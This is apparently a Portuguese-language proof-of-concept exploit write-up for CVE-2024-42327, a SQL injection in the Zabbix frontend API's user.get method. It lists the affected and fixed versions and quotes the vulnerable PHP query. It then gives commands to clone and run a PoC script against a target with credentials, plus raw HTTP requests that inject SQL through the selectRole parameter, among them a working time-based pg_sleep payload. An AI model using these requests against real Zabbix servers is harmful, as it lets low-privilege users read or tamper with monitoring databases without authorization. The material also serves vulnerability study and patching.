
Exploit de prova de conceito para CVE-2024-42327, uma vulnerabilidade de injeção SQL na API do frontend do Zabbix que permite que usuários não administradores executem consultas SQL arbitrárias através do método user.get.
Uma conta de usuário não administrador no frontend do Zabbix com a função de Usuário padrão, ou com qualquer outra função que dê acesso à API, pode explorar esta vulnerabilidade. Existe um SQLi na classe CUser na função addRelatedObjects; esta função é chamada a partir da função CUser.get, que está disponível para todo usuário que tenha acesso à API.

Versões vulneráveis: 6.0.0 - 6.0.31, 6.4.0 - 6.4.16, 7.0.0
Versões corrigidas: 6.0.32rc1, 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Uso do exploit:
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
Requisição:
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
BurpSuite PoC (SQLi Baseado em Tempo)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
